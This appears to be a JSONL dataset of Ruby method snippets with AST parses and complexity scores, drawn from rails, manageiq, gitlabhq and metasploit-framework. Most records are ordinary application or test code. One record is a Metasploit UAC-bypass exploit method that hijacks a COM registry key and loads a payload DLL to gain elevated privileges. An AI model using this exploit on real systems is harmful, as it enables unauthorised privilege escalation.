{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":276,"raw_source":"def test_uncountable_route_key\n    assert_equal \"sheep\", singular_route_key(@uncountable)\n    assert_equal \"sheep_index\", route_key(@uncountable)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uncountable_route_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"sheep\"]},{\"type\":\"send\",\"children\":[null,\"singular_route_key\",{\"type\":\"ivar\",\"children\":[\"@uncountable\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"sheep_index\"]},{\"type\":\"send\",\"children\":[null,\"route_key\",{\"type\":\"ivar\",\"children\":[\"@uncountable\"]}]}]}]}]}","id":"1cc1a259-ed43-4ad4-8d92-b32b272d2978"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/user.rb","start_line":228,"raw_source":"def self.authenticator(username = nil)\n    Authenticator.for(::Settings.authentication.to_hash, username)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authenticator\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authenticator\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"authentication\"]},\"to_hash\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}","id":"fd598b0f-7e51-4d64-92bb-16441ead4719"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":235,"raw_source":"def wiki_page?\n    target_type == 'WikiPage::Meta'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_page?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"WikiPage::Meta\"]}]}]}","id":"b34752b5-6fb2-4b8e-b715-9d58efb51e00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/applications_controller.rb","start_line":56,"raw_source":"def verify_user_oauth_applications_enabled\n    return if Gitlab::CurrentSettings.user_oauth_applications?\n\n    redirect_to user_settings_profile_path\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_user_oauth_applications_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"user_oauth_applications?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"user_settings_profile_path\"]}]}]}]}","id":"b5e8b277-3494-4576-8bb2-dc159f3db786"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_comhijack.rb","start_line":84,"raw_source":"def exploit\n    # Make sure we have a sane payload configuration\n    if sysinfo['Architecture'] != payload_instance.arch.first\n      fail_with(Failure::BadConfig, \"#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system\")\n    end\n\n    registry_view = REGISTRY_VIEW_NATIVE\n    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n      registry_view = REGISTRY_VIEW_64_BIT\n    end\n\n    # Validate that we can actually do things before we bother\n    # doing any more work\n    check_permissions!\n\n    case get_uac_level\n    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,\n        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,\n        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT\n      fail_with(Failure::NotVulnerable,\n                \"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\")\n    when UAC_DEFAULT\n      print_good('UAC is set to Default')\n      print_good('BypassUAC can bypass this setting, continuing...')\n    when UAC_NO_PROMPT\n      print_warning('UAC set to DoNotPrompt - using ShellExecute \"runas\" method instead')\n      shell_execute_exe\n      return\n    end\n\n    payload = generate_payload_dll({ dll_exitprocess: true })\n    commspec = expand_path('%COMSPEC%')\n    dll_name = expand_path(\"%TEMP%\\\\#{rand_text_alpha(8)}.dll\")\n    hijack = hijack_com(registry_view, dll_name)\n\n    unless hijack && hijack[:cmd_path]\n      fail_with(Failure::Unknown, 'Unable to hijack COM')\n    end\n\n    begin\n      print_status(\"Targeting #{hijack[:name]} via #{hijack[:root_key]} ...\")\n      print_status(\"Uploading payload to #{dll_name} ...\")\n      write_file(dll_name, payload)\n      register_file_for_cleanup(dll_name)\n\n      print_status(\"Executing high integrity process #{expand_path(hijack[:cmd_path])}\")\n      args = \"/c #{expand_path(hijack[:cmd_path])}\"\n      args << \" #{hijack[:cmd_args]}\" if hijack[:cmd_args]\n\n      # Launch the application from cmd.exe instead of directly so that we can\n      # avoid the dreaded 740 error (elevation required)\n      client.sys.process.execute(commspec, args, { 'Hidden' => true })\n\n      # Wait a copule of seconds to give the payload a chance to fire before cleaning up\n      Rex.sleep(5)\n\n      handler(client)\n    ensure\n      print_status('Cleaning up registry; this can take some time...')\n      registry_deletekey(hijack[:root_key], registry_view)\n    end\n  end","complexity_score":87.28,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]}]},{\"type\":\"str\",\"children\":[\" payload selected for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]}]},{\"type\":\"str\",\"children\":[\" system\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"registry_view\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_NATIVE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"registry_view\",{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_64_BIT\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_permissions!\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uac_level\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CREDS\"]},{\"type\":\"const\",\"children\":[null,\"UAC_PROMPT_CONSENT\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_DEFAULT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"UAC is set to Default\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"BypassUAC can bypass this setting, continuing...\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UAC_NO_PROMPT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"UAC set to DoNotPrompt - using ShellExecute \\\"runas\\\" method instead\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_execute_exe\"]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dll_exitprocess\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"commspec\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"str\",\"children\":[\"%COMSPEC%\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dll_name\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".dll\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hijack\",{\"type\":\"send\",\"children\":[null,\"hijack_com\",{\"type\":\"lvar\",\"children\":[\"registry_view\"]},{\"type\":\"lvar\",\"children\":[\"dll_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cmd_path\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to hijack COM\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Targeting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" via \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root_key\"]}]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll_name\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"dll_name\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"dll_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing high integrity process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cmd_path\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cmd_path\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cmd_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cmd_args\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"commspec\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"send\",\"children\":[null,\"client\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Cleaning up registry; this can take some time...\"]}]},{\"type\":\"send\",\"children\":[null,\"registry_deletekey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hijack\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root_key\"]}]},{\"type\":\"lvar\",\"children\":[\"registry_view\"]}]}]}]}]}]}]}","id":"337e31df-4571-4185-99ee-0059ac4789e9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/file_depot_swift.rb","start_line":14,"raw_source":"def openstack_handle(options = {})\n    require 'manageiq/providers/openstack/legacy/openstack_handle'\n    @openstack_handle ||= begin\n      username = options[:username] || authentication_userid(options[:auth_type])\n      password = options[:password] || authentication_password(options[:auth_type])\n      uri      = options[:uri]\n      address  = URI(uri).host\n      port     = URI(uri).port\n\n      extra_options = {\n        :ssl_ca_file    => ::Settings.ssl.ssl_ca_file,\n        :ssl_ca_path    => ::Settings.ssl.ssl_ca_path,\n        :ssl_cert_store => OpenSSL::X509::Store.new\n      }\n      extra_options[:domain_id]         = v3_domain_ident\n      extra_options[:service]           = \"Compute\"\n      extra_options[:omit_default_port] = ::Settings.ems.ems_openstack.excon.omit_default_port\n      extra_options[:read_timeout]      = ::Settings.ems.ems_openstack.excon.read_timeout\n      begin\n        OpenstackHandle::Handle.new(username, password, address, port, keystone_api_version, security_protocol, extra_options)\n      rescue => err\n        msg = \"Error connecting to Swift host #{address}. #{err}\"\n        logger.error(msg)\n        raise err, msg, err.backtrace\n      end\n    end\n  end","complexity_score":60.6,"ast_json":"{\"type\":\"def\",\"children\":[\"openstack_handle\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"manageiq/providers/openstack/legacy/openstack_handle\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@openstack_handle\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[null,\"authentication_userid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth_type\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"authentication_password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auth_type\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uri\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},\"port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"extra_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_ca_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"ssl\"]},\"ssl_ca_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_ca_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"ssl\"]},\"ssl_ca_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_cert_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Store\"]},\"new\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain_id\"]},{\"type\":\"send\",\"children\":[null,\"v3_domain_ident\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"Compute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"omit_default_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"ems\"]},\"ems_openstack\"]},\"excon\"]},\"omit_default_port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"read_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"ems\"]},\"ems_openstack\"]},\"excon\"]},\"read_timeout\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenstackHandle\"]},\"Handle\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"keystone_api_version\"]},{\"type\":\"send\",\"children\":[null,\"security_protocol\"]},{\"type\":\"lvar\",\"children\":[\"extra_options\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error connecting to Swift host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"backtrace\"]}]}]}]},null]}]}]}]}]}]}","id":"fc92a645-93dc-4b1e-a898-cd4ed860229a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/with_test.rb","start_line":94,"raw_source":"def test_with_when_passing_single_item_array\n        relation = Post\n          .with(posts_with_special_type_or_tags_or_comments: [Post.where(type: \"SpecialPost\")])\n          .from(\"posts_with_special_type_or_tags_or_comments AS posts\")\n\n        assert_equal SPECIAL_POSTS.sort, relation.order(:id).pluck(:id)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_when_passing_single_item_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts_with_special_type_or_tags_or_comments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"SpecialPost\"]}]}]}]}]}]}]}]},\"from\",{\"type\":\"str\",\"children\":[\"posts_with_special_type_or_tags_or_comments AS posts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SPECIAL_POSTS\"]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"b6591407-5ee9-4967-b350-e1983b83ec3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/issue_event.rb","start_line":64,"raw_source":"def from_json_hash(raw_hash)\n            hash = Representation.symbolize_hash(raw_hash)\n            hash[:actor] = user_representation(hash[:actor], source: :hash)\n            hash[:assignee] = user_representation(hash[:assignee], source: :hash)\n            hash[:requested_reviewer] = user_representation(hash[:requested_reviewer], source: :hash)\n            hash[:review_requester] = user_representation(hash[:review_requester], source: :hash)\n\n            new(hash)\n          end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"from_json_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Representation\"]},\"symbolize_hash\",{\"type\":\"lvar\",\"children\":[\"raw_hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"actor\"]},{\"type\":\"send\",\"children\":[null,\"user_representation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actor\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"assignee\"]},{\"type\":\"send\",\"children\":[null,\"user_representation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignee\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"requested_reviewer\"]},{\"type\":\"send\",\"children\":[null,\"user_representation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requested_reviewer\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"review_requester\"]},{\"type\":\"send\",\"children\":[null,\"user_representation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"review_requester\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"cf2db862-f585-427b-a056-6f7afe4f03ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/indexer.rb","start_line":72,"raw_source":"def build_delete_operation(ref:, include_ref_version: false)\n          hash = { ref_id: ref.identifier }\n          hash[:ref_version] = ref.ref_version if include_ref_version\n\n          { \"#{ref.partition_name}\": { delete: hash }, ref: ref }\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_delete_operation\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"ref\"]},{\"type\":\"kwoptarg\",\"children\":[\"include_ref_version\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"identifier\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_ref_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ref_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"ref_version\"]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"partition_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]}]}","id":"d3531f96-fe0a-4efd-9ca2-b6f5052f8ac7"}
